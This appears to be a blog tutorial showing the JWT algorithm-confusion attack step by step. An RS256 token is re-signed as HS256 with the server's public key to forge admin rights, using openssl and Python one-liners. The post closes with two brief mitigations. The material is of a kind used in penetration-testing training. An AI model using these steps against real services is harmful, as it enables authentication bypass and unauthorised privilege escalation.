Information Security
Website development
Web services testing
April 29

Hack the JWT Token


For Educational Purposes Only! Intended for Hackers Penetration testers.


The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature. Asymmetric Cipher Algorithm => Symmetric Cipher Algorithm.

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.
The backend code uses the RSA public key + HS256 algorithm for signature verification.


Vulnerability appear when client side validation looks like this:

const decoded = jwt.verify(
   { algorithms: ['HS256'  , 'RS256'] }          //accepted both algorithms 

Lets assume we have initial token like presented below and " => " will explain modification that attacker can make:

alg: 'RS256'                         =>  'HS256'
sub: '123',
name: 'Oleh Khomiak',
admin: 'false'                       => 'true'

The backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.


1. Capture the traffic and valid JWT Token (NCC Group example)


2. Decode token with Burp Decoder

The structure is header.payload.signature with each component base64-encoded using the URL-safe scheme and any padding removed.


3. Modify the header alg to HS256


4. Convert back to JWT format


Header and payload ready to go :)

5. Copy server certificate and extract the public key

All that’s missing is the signature, and to calculate that we need the public key the server is using. It could be that this is freely available.

openssl s_client -connect <hostname>:443

Copy the “Server certificate” output to a file (e.g. cert.pem) and extract the public key (to a file called key.pem) by running:

openssl x509 -in cert.pem -pubkey –noout > key.pem

Let’s turn it into ASCII hex:

cat key.pem | xxd -p | tr -d "\\n"

By supplying the public key as ASCII hex to our signing operation, we can see and completely control the bytes

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

The output – that is, the HMAC signature – is:


A one-liner to turn this ASCII hex signature into the JWT format is:

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"

The output is our signature:


Simply add it to our modified token:


6. Submit altered token to the server.


1. Use only one encryption algorithm (if possible)

2. Create different functions to check different algorithms


2. (24:53)
6.5k 9
Leave a comment
Top of the day